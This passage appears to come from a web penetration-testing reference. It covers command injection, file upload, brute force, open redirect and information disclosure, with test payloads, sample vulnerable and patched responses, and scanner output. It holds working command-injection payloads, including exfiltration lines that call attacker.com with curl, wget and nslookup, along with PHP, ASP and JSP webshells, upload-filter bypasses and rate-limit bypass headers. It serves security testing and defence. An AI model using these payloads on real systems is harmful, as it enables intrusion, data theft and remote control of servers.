"error": "Invalid file path",
"message": "Path traversal characters are not allowed"
}
HTTP/1.1 404 Not Found
Content-Type: application/json
{
"error": "File not found"
}
Key safe indicators:
- Path traversal sequences stripped/rejected (
../,..\) - File paths canonicalized and validated against allowed directory
- Allowlist of permitted filenames
chroot/ restricted base directory enforced- PHP
open_basedirrestriction - Null bytes rejected
11.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| File content | Actual OS file content (passwd format, win.ini format) returned | Error message mentioning the file path but not its content |
| Source code | PHP/config source code returned (via filter or direct) | Application returns its own rendered HTML |
| Log inclusion | Log file content with injected User-Agent appears | Log file path mentioned in error but not included |
| Windows | win.ini content or known Windows file content returned | Generic error page |
11.5 Tool Output Examples
Nikto Path Traversal Detection
+ OSVDB-3092: /download?file=../../../../etc/passwd: Path traversal vulnerability detected. The 'file' parameter allows reading system files.
+ /download?file=../../../../etc/passwd: Retrieved file begins with "root:x:0:0" - indicates /etc/passwd file successfully read.
Nmap http-passwd NSE Script
PORT STATE SERVICE
80/tcp open http
| http-passwd:
| VULNERABLE:
| Directory traversal in web application
| State: VULNERABLE (Exploitable)
| Description:
| The web application allows reading arbitrary files through directory
| traversal sequences in the 'file' parameter.
| Disclosure date: 2026-04-09
| Extra information:
| /etc/passwd :
| root:x:0:0:root:/root:/bin/bash
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|_ www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
12. Command Injection
12.1 Test Payloads
Basic Command Separators
# Semicolon (Unix)
; id
; whoami
; cat /etc/passwd
;ls -la
# Pipe
| id
| whoami
| cat /etc/passwd
# Ampersand (background execution)
& id
& whoami
# Double ampersand (conditional)
&& id
&& whoami
# Double pipe (OR)
|| id
|| whoami
# Newline
%0a id
%0a whoami
# Backtick substitution
`id`
`whoami`
# Dollar substitution
$(id)
$(whoami)
$(cat /etc/passwd)
Blind Command Injection (Time-Based)
# Ping-based delay
; ping -c 10 127.0.0.1
| ping -c 10 127.0.0.1
& ping -c 10 127.0.0.1
|| ping -c 10 127.0.0.1
# Sleep-based delay
; sleep 10
| sleep 10
$(sleep 10)
`sleep 10`
Blind Command Injection (OOB Exfiltration)
# DNS exfiltration
; nslookup $(whoami).attacker.com
; host $(cat /etc/hostname).attacker.com
| nslookup `id | base64`.attacker.com
# HTTP exfiltration
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/$(cat /etc/passwd | base64)
| curl http://attacker.com/?data=$(id|base64)
Filter Bypass Payloads
# Space bypass using $IFS
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;{cat,/etc/passwd}
;cat</etc/passwd
# Space bypass using tabs
;cat%09/etc/passwd
# Keyword bypass using quotes
;c'a't /etc/passwd
;c"a"t /etc/passwd
;/b?n/c?t /etc/passwd
;/b??/ca? /etc/passwd
# Keyword bypass using variables
;a]cat;b=/ etc/ passwd;$a$b
# Keyword bypass using encoding
;$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')
# Backslash bypass
;c\at /et\c/pa\ss\wd
# Windows-specific
& dir
& type C:\windows\win.ini
| net user
& whoami
| ipconfig
12.2 Vulnerable Response Patterns
Command Injection - Output Returned
POST /api/network/ping HTTP/1.1
Host: target.example.com
Content-Type: application/json
{"host": "127.0.0.1; id"}
HTTP/1.1 200 OK
Content-Type: application/json
{
"result": "PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.\n64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.023 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 received, 0% packet loss, time 0ms\nrtt min/avg/max/mdev = 0.023/0.023/0.023/0.000 ms\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
}
Command Injection - Full /etc/passwd Read
POST /api/dns/lookup HTTP/1.1
Content-Type: application/json
{"domain": "example.com; cat /etc/passwd"}
HTTP/1.1 200 OK
{
"output": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false\n"
}
Blind Command Injection - Time Delay
# Normal request: ~100ms response time
POST /api/network/ping
{"host": "127.0.0.1"}
Response time: 112ms
# Injected request: ~10s response time
POST /api/network/ping
{"host": "127.0.0.1; sleep 10"}
Response time: 10,134ms
# Confirms blind command injection
12.3 Safe/Patched Response Patterns
HTTP/1.1 400 Bad Request
Content-Type: application/json
{
"error": "Invalid input",
"message": "The hostname contains invalid characters"
}
HTTP/1.1 200 OK
Content-Type: application/json
{
"result": "PING 127.0.0.1; id (could not resolve host)"
}
# The entire input was treated as a hostname, not executed as command
Key safe indicators:
- Input validated against allowlist (alphanumeric, dots, hyphens only for hostnames)
- Shell metacharacters rejected or escaped
- Commands executed using array-based APIs (e.g.,
subprocess.run(['ping', '-c', '1', host])notos.system()) - No shell=True in subprocess calls
- Consistent response time regardless of injected sleep commands
12.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Output | OS command output (uid, username, file contents) appears in response | Input echoed back but not executed |
| Time-based | Consistent delay matching injected sleep value | Inconsistent delays (server load, network) |
| OOB | DNS/HTTP callback received on attacker server | No callback received |
| Error | OS-level error messages ("sh: command not found") | Application-level error about invalid input |
12.5 Tool Output Examples
Commix Output (Command Injection Found)
___ ___ ___ ___ ___ ___ __ __
/'___\ /'___\ /' __` __`\/' __` __`\/\ \/\ \
/\ \__//\ \__//\ \/\ \/\ \\ \/\ \/\ \ \ \_\ \
\ \____\ \____\ \_\ \_\ \_\\_\ \_\ \_\/`____ \
\/____/\/____/\/_/\/_/\/_/\/_/\/_/\/_/`/___/> \
/\___/
Automated All-in-One OS Command Injection \/__/
Exploitation Tool - v4.0-stable
(+) Testing the (results-based) classic command injection technique... [ SUCCEED ]
(+) The POST parameter 'host' is vulnerable to results-based OS command injection.
(+) The identified injection type is: Results-based command injection
(+) The identified injection technique is: Classic
(+) The identified injection payload is: ;id
(+) Target's operating system: Linux
(+) Target's hostname: web-server-01
(+) Current user: www-data
(+) Current working directory: /var/www/html
commix(os_shell)> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
commix(os_shell)> uname -a
Linux web-server-01 5.4.0-150-generic #167-Ubuntu SMP Mon Jul 3 17:28:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
13. File Upload Vulnerabilities
13.1 Test Payloads
Basic Webshell Payloads
# PHP webshell - minimal
<?php system($_GET['cmd']); ?>
# PHP webshell - more functional
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
echo shell_exec($_REQUEST['cmd']);
echo "</pre>";
}
?>
# PHP one-liner
<?=`$_GET[cmd]`?>
# ASP webshell
<%@ Language=VBScript %>
<%
Dim cmd
cmd = Request("cmd")
Set objShell = Server.CreateObject("WScript.Shell")
Set objExec = objShell.Exec("cmd /c " & cmd)
Response.Write(objExec.StdOut.ReadAll())
%>
# JSP webshell
<% Runtime rt = Runtime.getRuntime(); String[] cmd = {"/bin/sh", "-c", request.getParameter("cmd")}; Process p = rt.exec(cmd); %>
Extension Bypass Techniques
# PHP alternatives
shell.php
shell.phtml
shell.php3
shell.php4
shell.php5
shell.php7
shell.pht
shell.phps
shell.phar
# Double extensions
shell.php.jpg
shell.jpg.php
shell.php.png
shell.php%00.jpg (null byte - older systems)
shell.php\x00.jpg
# Case variation
shell.PhP
shell.pHP
shell.PHP
# Trailing characters
shell.php.
shell.php..
shell.php%20
shell.php%0a
shell.php;.jpg
# Apache .htaccess upload
# Upload .htaccess with: AddType application/x-httpd-php .l33t
# Then upload shell.l33t
# NTFS alternate data streams (Windows)
shell.asp::$DATA
shell.asp:shell.jpg
Content-Type / MIME Bypass
# Change Content-Type header in multipart upload
Content-Type: image/jpeg (instead of application/x-httpd-php)
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream
Magic Bytes / Polyglot Files
# GIF header + PHP
GIF89a<?php system($_GET['cmd']); ?>
# JPEG header + PHP (hex)
FF D8 FF E0 <?php system($_GET['cmd']); ?>
# PNG header + PHP (hex)
89 50 4E 47 0D 0A 1A 0A <?php system($_GET['cmd']); ?>
# ExifTool metadata injection
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# Rename to image.php.jpg or upload as-is if server processes metadata
13.2 Vulnerable Response Patterns
Successful Webshell Upload
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "success",
"message": "File uploaded successfully",
"path": "/uploads/shell.php",
"url": "https://target.example.com/uploads/shell.php"
}
Webshell Execution
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target.example.com
HTTP/1.1 200 OK
Content-Type: text/html
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
Double Extension Bypass
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Boundary--
HTTP/1.1 200 OK
{"status": "success", "path": "/uploads/shell.php.jpg"}
# If Apache processes .php before .jpg:
GET /uploads/shell.php.jpg?cmd=whoami HTTP/1.1
HTTP/1.1 200 OK
www-data
13.3 Safe/Patched Response Patterns
HTTP/1.1 400 Bad Request
Content-Type: application/json
{
"error": "Invalid file type",
"message": "Only .jpg, .png, and .gif files are allowed",
"allowed_types": ["image/jpeg", "image/png", "image/gif"]
}
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "success",
"message": "File uploaded successfully",
"path": "/uploads/a3f2b8c1-d4e5-6789-abcd-ef0123456789.jpg"
}
# File renamed to random UUID, extension validated, stored outside webroot
Key safe indicators:
- File extension validated against strict allowlist (not blocklist)
- Magic bytes / file signature verified
- File renamed to random name (UUID)
- Files stored outside webroot or in non-executable location
- Content-Disposition: attachment header forced on downloads
- Upload directory has no execute permissions
- File size limits enforced
13.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Upload success | PHP/ASP file uploaded and accessible at returned URL | File uploaded but stored with non-executable extension or outside webroot |
| Execution | Accessing uploaded file executes code (whoami/id output) | File served as download/plaintext, not executed |
| Extension bypass | Double extension file executed as PHP | Double extension uploaded but served as image |
| Polyglot | File passes image validation AND executes as PHP when accessed | Image validation passes but server doesn't execute PHP in upload directory |
13.5 Tool Output Examples
Upload_Bypass Tool Output
[*] Starting Upload_Bypass v1.0
[*] Target: https://target.example.com/upload
[*] Testing file upload restrictions...
[+] Extension Test Results:
.php - BLOCKED (415 Unsupported Media Type)
.phtml - UPLOADED (200 OK)
.php5 - BLOCKED (415 Unsupported Media Type)
.phar - UPLOADED (200 OK)
.php.jpg - UPLOADED (200 OK)
[+] Content-Type Bypass:
image/jpeg - UPLOADED (200 OK) - PHP code executed!
image/png - UPLOADED (200 OK) - PHP code executed!
[+] Magic Bytes Bypass:
GIF89a+PHP - UPLOADED (200 OK) - PHP code executed!
[!] VULNERABLE: File upload restriction can be bypassed
Successful bypass: .phtml extension with image/jpeg Content-Type
Webshell accessible at: /uploads/shell.phtml
14. Rate Limiting / Brute Force
14.1 Test Payloads
Login Brute Force
# Sequential credential testing
POST /login with username=admin&password=password1
POST /login with username=admin&password=password2
POST /login with username=admin&password=password123
POST /login with username=admin&password=admin
POST /login with username=admin&password=123456
...
# Common password lists
# /usr/share/wordlists/rockyou.txt
# /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt
Rate Limit Bypass Headers
# IP spoofing headers (one per request, rotating values)
X-Forwarded-For: 1.2.3.4
X-Forwarded-For: 1.2.3.5
X-Forwarded-For: 1.2.3.6
X-Originating-IP: 1.2.3.7
X-Remote-IP: 1.2.3.8
X-Remote-Addr: 1.2.3.9
X-Client-IP: 1.2.3.10
X-Real-IP: 1.2.3.11
True-Client-IP: 1.2.3.12
CF-Connecting-IP: 1.2.3.13
Rate Limit Bypass Techniques
# Case variation in endpoint
POST /login
POST /Login
POST /LOGIN
POST /lOgIn
# Path variation
POST /api/v1/login
POST /api/v2/login
POST /api/v1/auth/login
POST /./api/v1/login
POST /api/v1/login/
POST /api/v1/login?dummy=1
# HTTP method switching
POST /login -> blocked
PUT /login -> might work
PATCH /login -> might work
# Add null bytes / special chars to path
POST /login%00
POST /login%20
POST /login%09
# Distributed brute force (IP rotation)
# Use proxy chains, TOR, or cloud functions
# Race condition (parallel requests)
# Send 100 login requests simultaneously before rate limiter updates counter
API Key / Token Brute Force
# API key enumeration
GET /api/data?api_key=test001
GET /api/data?api_key=test002
...
# OTP brute force (4-digit)
POST /verify-otp with otp=0000
POST /verify-otp with otp=0001
...
POST /verify-otp with otp=9999
# Password reset token brute force
GET /reset-password?token=000000
GET /reset-password?token=000001
...
14.2 Vulnerable Response Patterns
No Rate Limiting (All Requests Processed)
# Request 1 (wrong password)
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password=wrong1
HTTP/1.1 401 Unauthorized
{"error": "Invalid credentials"}
# Request 100 (wrong password) - no blocking
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password=wrong100
HTTP/1.1 401 Unauthorized
{"error": "Invalid credentials"}
# Request 500 (correct password found)
POST /login HTTP/1.1
username=admin&password=admin123
HTTP/1.1 200 OK
Set-Cookie: session=abc123
{"message": "Login successful"}
Rate Limit Bypass via Headers
# Normal request - rate limited
POST /login HTTP/1.1
X-Forwarded-For: 1.2.3.4
HTTP/1.1 429 Too Many Requests
{"error": "Rate limit exceeded. Try again in 300 seconds."}
# Same request with different header - rate limit bypassed
POST /login HTTP/1.1
X-Forwarded-For: 1.2.3.5
HTTP/1.1 401 Unauthorized
{"error": "Invalid credentials"}
# Rate limit counter reset for "new" IP
14.3 Safe/Patched Response Patterns
# After 5 failed attempts
HTTP/1.1 429 Too Many Requests
Content-Type: application/json
Retry-After: 300
X-RateLimit-Limit: 5
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1712678400
{
"error": "Too many login attempts",
"message": "Account temporarily locked. Try again in 5 minutes.",
"retry_after": 300
}
# Account lockout
HTTP/1.1 403 Forbidden
Content-Type: application/json
{
"error": "Account locked",
"message": "Your account has been locked due to multiple failed login attempts. Please contact support or wait 30 minutes."
}
Key safe indicators:
- Rate limiting headers present (X-RateLimit-*)
- 429 status code returned after threshold exceeded
- Account lockout after N failed attempts
- Progressive delays (exponential backoff)
- CAPTCHA after N failed attempts
- Rate limiting based on account, not just IP
- X-Forwarded-For and similar headers not trusted blindly
14.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| No rate limit | 1000+ requests processed without any blocking | Rate limiting exists but threshold is high (e.g., 100/min) |
| Header bypass | Changing X-Forwarded-For resets rate limit counter | Header ignored, rate limit still enforced |
| Account lockout | No lockout after 100+ failed attempts | Lockout occurs but testing triggered it legitimately |
| Brute force success | Valid credentials discovered through enumeration | Valid credentials known beforehand, testing rate limit only |
14.5 Tool Output Examples
Hydra Brute Force
Hydra v9.5 (c) 2023 by van Hauser/THC
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://target.example.com:443/login:username=admin&password=^PASS^:Invalid credentials:H=Content-Type: application/x-www-form-urlencoded
[STATUS] 1432.00 tries/min, 1432 tries in 00:01h, 14342967 to do in 166:54h, 16 active
[STATUS] 1517.33 tries/min, 4552 tries in 00:03h, 14339847 to do in 157:30h, 16 active
[443][http-post-form] host: target.example.com login: admin password: Summer2026!
1 of 1 target successfully completed, 1 valid password found
Burp Intruder Results
Request# Payload Status Length Time
1 password1 401 143 52ms
2 password123 401 143 48ms
3 admin 401 143 51ms
4 123456 401 143 49ms
5 qwerty 401 143 50ms
...
247 Summer2026! 302 0 55ms <-- Different status = valid password
15. Open Redirect
15.1 Test Payloads
# Basic open redirect
?redirect=https://evil.com
?url=https://evil.com
?next=https://evil.com
?return=https://evil.com
?returnTo=https://evil.com
?rurl=https://evil.com
?dest=https://evil.com
?destination=https://evil.com
?redirect_uri=https://evil.com
?redirect_url=https://evil.com
?callback=https://evil.com
?forward=https://evil.com
?target=https://evil.com
?go=https://evil.com
?out=https://evil.com
?view=https://evil.com
?to=https://evil.com
?link=https://evil.com
# Protocol-relative
?redirect=//evil.com
?redirect=///evil.com
?redirect=\\evil.com
# Userinfo trick
?redirect=https://target.example.com@evil.com
?redirect=https://target.example.com%40evil.com
# Subdomain trick
?redirect=https://evil.target.example.com
?redirect=https://target.example.com.evil.com
# URL encoding bypass
?redirect=https:%2F%2Fevil.com
?redirect=https://evil%2Ecom
?redirect=%68%74%74%70%73%3A%2F%2F%65%76%69%6C%2E%63%6F%6D
# Double URL encoding
?redirect=https%253A%252F%252Fevil.com
# Null byte
?redirect=https://target.example.com%00@evil.com
# Path-based
/redirect/https://evil.com
/go/https://evil.com
# CRLF injection for header redirect
?redirect=%0d%0aLocation:%20https://evil.com
# JavaScript protocol (if redirect goes to href)
?redirect=javascript:alert(1)
?redirect=data:text/html,<script>alert(1)</script>
# Slash tricks
?redirect=/\evil.com
?redirect=\/evil.com
?redirect=/\/evil.com
?redirect=/.evil.com
15.2 Vulnerable Response Patterns
Open Redirect - 302 to External Domain
GET /redirect?url=https://evil.com HTTP/1.1
Host: target.example.com
HTTP/1.1 302 Found
Location: https://evil.com
Content-Length: 0
Open Redirect - Meta Refresh
GET /goto?url=https://evil.com HTTP/1.1
Host: target.example.com
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<head>
<meta http-equiv="refresh" content="0;url=https://evil.com">
</head>
<body>
<p>Redirecting to <a href="https://evil.com">https://evil.com</a>...</p>
</body>
</html>
Open Redirect - JavaScript
GET /redirect?next=https://evil.com HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/html
<script>
window.location = "https://evil.com";
</script>
15.3 Safe/Patched Response Patterns
# Redirect only to same domain
GET /redirect?url=https://evil.com HTTP/1.1
HTTP/1.1 400 Bad Request
Content-Type: application/json
{
"error": "Invalid redirect URL",
"message": "Redirect to external domains is not allowed"
}
# Redirect to allowlisted domain only
GET /redirect?url=https://trusted-partner.com/callback HTTP/1.1
HTTP/1.1 302 Found
Location: https://trusted-partner.com/callback
# Relative path only
GET /redirect?url=/dashboard HTTP/1.1
HTTP/1.1 302 Found
Location: /dashboard
Key safe indicators:
- Redirect URLs validated against allowlist of trusted domains
- Only relative paths allowed (no scheme/host)
- URL parsed and scheme+host validated (not string matching)
- Reject protocol-relative URLs (
//evil.com) - Warning page shown before external redirect
15.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Redirect | 302/301/303/307 with Location header pointing to attacker domain | 302 to same domain or allowlisted partner |
| JavaScript | window.location set to attacker URL |
JavaScript processes URL but adds validation |
| Meta refresh | Meta tag redirects to external domain | Meta tag present but URL is same-domain |
| Bypass | Userinfo/subdomain trick successfully redirects | Bypass attempt blocked, error returned |
15.5 Tool Output Examples
Burp Suite Open Redirect Finding
<issue>
<type>5243392</type>
<name>Open redirection (reflected)</name>
<host>https://target.example.com</host>
<path>/redirect</path>
<location>/redirect [url parameter]</location>
<severity>Low</severity>
<confidence>Firm</confidence>
<issueDetail>
The value of the <b>url</b> request parameter is used to perform a
redirection. The payload https://evil.com was submitted in the url parameter.
The application responded with a redirection to https://evil.com.
</issueDetail>
</issue>
16. Information Disclosure
16.1 Test Payloads / Checks
# Error triggering
GET /api/nonexistent HTTP/1.1
GET /api/users/'; HTTP/1.1
GET /api/users/-1 HTTP/1.1
GET /api/users/0 HTTP/1.1
GET /api/users/99999999999999 HTTP/1.1
POST /api/users with invalid JSON: {invalid
POST /api/users with wrong types: {"id": "not-a-number"}
# Sensitive file checks
GET /robots.txt HTTP/1.1
GET /sitemap.xml HTTP/1.1
GET /.env HTTP/1.1
GET /.git/HEAD HTTP/1.1
GET /.git/config HTTP/1.1
GET /.svn/entries HTTP/1.1
GET /.DS_Store HTTP/1.1
GET /Thumbs.db HTTP/1.1
GET /crossdomain.xml HTTP/1.1
GET /clientaccesspolicy.xml HTTP/1.1
GET /phpinfo.php HTTP/1.1
GET /info.php HTTP/1.1
GET /test.php HTTP/1.1
GET /elmah.axd HTTP/1.1
GET /trace.axd HTTP/1.1
GET /server-status HTTP/1.1
GET /server-info HTTP/1.1
GET /jmx-console HTTP/1.1
GET /actuator HTTP/1.1
GET /actuator/env HTTP/1.1
GET /actuator/health HTTP/1.1
GET /actuator/configprops HTTP/1.1
GET /api/swagger.json HTTP/1.1
GET /swagger-ui.html HTTP/1.1
GET /api-docs HTTP/1.1
GET /graphql HTTP/1.1 (introspection query)
GET /wp-json/wp/v2/users HTTP/1.1
# Header inspection
# Check response for:
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
X-AspNet-Version: 4.0.30319
X-AspNetMvc-Version: 5.2
X-Generator: WordPress 6.4
Via: proxy-server-01.internal.corp
# Version endpoint checks
GET /version HTTP/1.1
GET /api/version HTTP/1.1
GET /health HTTP/1.1
GET /status HTTP/1.1
16.2 Vulnerable Response Patterns
Stack Trace / Debug Information
GET /api/users/abc HTTP/1.1
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
<h1>Internal Server Error</h1>
<pre>
Traceback (most recent call last):
File "/var/www/app/views/users.py", line 42, in get_user
user_id = int(request.args.get('id'))
File "/var/www/app/models/user.py", line 15, in find_by_id
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
File "/usr/lib/python3/dist-packages/pymysql/cursors.py", line 170, in execute
result = self._query(query)
psycopg2.errors.InvalidTextRepresentation: invalid input syntax for type integer: "abc"
DETAIL: Database: production_db
Connection: postgresql://dbuser:Str0ngP@ss!@10.0.0.5:5432/production_db
</pre>
Server Version Disclosure
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
X-AspNet-Version: 4.0.30319
phpinfo() Exposed
GET /phpinfo.php HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/html
<h1>PHP Version 7.4.3</h1>
<table>
<tr><td>System</td><td>Linux web-01 5.4.0-150-generic</td></tr>
<tr><td>Server API</td><td>Apache 2.0 Handler</td></tr>
<tr><td>Document Root</td><td>/var/www/html</td></tr>
<tr><td>SMTP</td><td>internal-smtp.corp.local</td></tr>
</table>
...
<h2>Environment</h2>
<tr><td>DB_PASSWORD</td><td>SuperSecretPassword123!</td></tr>
<tr><td>API_KEY</td><td>sk-abc123...</td></tr>
...
Source Code Disclosure
GET /app.py~ HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/plain
#!/usr/bin/env python3
from flask import Flask, request
import pymysql
app = Flask(__name__)
DB_HOST = "10.0.0.5"
DB_USER = "root"
DB_PASS = "productionPassword123!"
DB_NAME = "webapp"
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
# WARNING: SQL injection vulnerability
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
...
GraphQL Introspection
POST /graphql HTTP/1.1
Content-Type: application/json
{"query": "{__schema{types{name,fields{name,type{name}}}}}"}
HTTP/1.1 200 OK
{
"data": {
"__schema": {
"types": [
{
"name": "User",
"fields": [
{"name": "id", "type": {"name": "Int"}},
{"name": "username", "type": {"name": "String"}},
{"name": "password_hash", "type": {"name": "String"}},
{"name": "ssn", "type": {"name": "String"}},
{"name": "credit_card", "type": {"name": "String"}},
{"name": "api_key", "type": {"name": "String"}}
]
},
{
"name": "InternalConfig",
"fields": [
{"name": "db_connection_string", "type": {"name": "String"}},
{"name": "aws_secret_key", "type": {"name": "String"}}
]
}
]
}
}
}
WordPress User Enumeration
GET /wp-json/wp/v2/users HTTP/1.1
HTTP/1.1 200 OK
Content-Type: application/json
[
{"id": 1, "name": "admin", "slug": "admin", "description": "Site Administrator"},
{"id": 2, "name": "editor1", "slug": "editor1", "description": "Content Editor"},
{"id": 3, "name": "john.doe", "slug": "john-doe", "description": "Author"}
]
16.3 Safe/Patched Response Patterns
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
{
"error": "Internal Server Error",
"message": "An unexpected error occurred. Please try again later.",
"request_id": "req_abc123def456"
}
HTTP/1.1 200 OK
Server: webserver
Content-Type: text/html
# No version info, no X-Powered-By
# phpinfo.php - Not accessible
HTTP/1.1 404 Not Found
# .git/HEAD - Not accessible
HTTP/1.1 403 Forbidden
# GraphQL introspection disabled
HTTP/1.1 200 OK
{
"errors": [{"message": "GraphQL introspection is disabled"}]
}
Key safe indicators:
- Generic error messages without stack traces
- No server version headers (or generic values)
- Debug mode disabled in production
- Sensitive files not accessible from web
- GraphQL introspection disabled in production
- Error details logged server-side, not returned to client
16.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Stack trace | Full traceback with file paths, line numbers, DB connection strings | Controlled error page with request ID only |
| Version headers | Exact version numbers revealed (Apache/2.4.41) | Generic server name without version |
| Source code | Actual application code returned (with credentials) | Sample/template code or documentation |
| Debug endpoints | /actuator/env returns real config including secrets | /health returns only {"status": "UP"} |
16.5 Tool Output Examples
Nmap Version Detection
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.41
3306/tcp open mysql MySQL 8.0.28-0ubuntu0.20.04.3
| mysql-info:
| Protocol: 10
| Version: 8.0.28-0ubuntu0.20.04.3
| Thread ID: 15
|_ Salt: \x1a\x2b\x3c...
8080/tcp open http Apache Tomcat 9.0.56
|_http-title: Apache Tomcat/9.0.56
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nikto Information Disclosure Findings
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 93.184.216.34
+ Target Hostname: target.example.com
+ Target Port: 80
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/7.4.3.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ /.env: .env file found. This file may contain database credentials, API keys, and other sensitive configuration.
+ /.git/HEAD: Git repository found. An attacker can download the full source code.
+ /server-status: Apache mod_status is accessible. This shows server performance information and current connections.
+ OSVDB-3092: /backup/: This might be interesting: possible backup directory with directory listing enabled.
+ /robots.txt: Entry '/admin/' in robots.txt returned a non-403 HTTP status. Site could be exposing sensitive endpoints.
+ 8945 requests: 0 error(s) and 9 item(s) reported on remote host
---------------------------------------------------------------------------
Appendix A: Combined Nmap Scan Output Example
Starting Nmap 7.94 ( https://nmap.org ) at 2026-04-09 14:30 CDT
Nmap scan report for target.example.com (93.184.216.34)
Host is up (0.034s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
| ssh-hostkey:
| 3072 d4:3e:4f:5a:6b:7c:8d:9e:0f:1a:2b:3c:4d:5e:6f:7a (RSA)
| 256 a1:b2:c3:d4:e5:f6:a7:b8:c9:d0:e1:f2:a3:b4:c5:d6 (ECDSA)
|_ 256 1a:2b:3c:4d:5e:6f:7a:8b:9c:0d:1e:2f:3a:4b:5c:6d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Example Web Application
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS
|_ Potentially risky methods: TRACE
| http-enum:
| /admin/: Admin panel
| /backup/: Backup directory with listing
| /phpinfo.php: phpinfo() page
| /.git/HEAD: Git repository
| /robots.txt: Robots file
|_ /server-status: Apache server-status (mod_status)
| http-vuln-cve2017-5638:
| VULNERABLE:
| Apache Struts Remote Code Execution
| State: VULNERABLE
| Risk factor: High
|_ References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
443/tcp open ssl/http Apache httpd 2.4.41
| ssl-enum-ciphers:
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
| warnings:
| Broken cipher RC4 is deprecated by RFC 7465
| TLSv1.2:
| ciphers:
| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A
| cipher preference: server
|_ least strength: C
| ssl-cert:
| Subject: commonName=target.example.com
| Issuer: commonName=R3/organizationName=Let's Encrypt
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2026-03-10T00:00:00
| Not valid after: 2026-06-08T23:59:59
|_ SHA-1: abcd:ef01:2345:6789:abcd:ef01:2345:6789:abcd:ef01
3306/tcp open mysql MySQL 8.0.28
| mysql-info:
| Protocol: 10
| Version: 8.0.28-0ubuntu0.20.04.3
|_ Status: Autocommit
8080/tcp open http-proxy Apache Tomcat 9.0.56
| http-default-accounts:
| [Apache Tomcat] at /manager/html/
|_ tomcat:s3cret
8443/tcp open ssl/http nginx 1.18.0
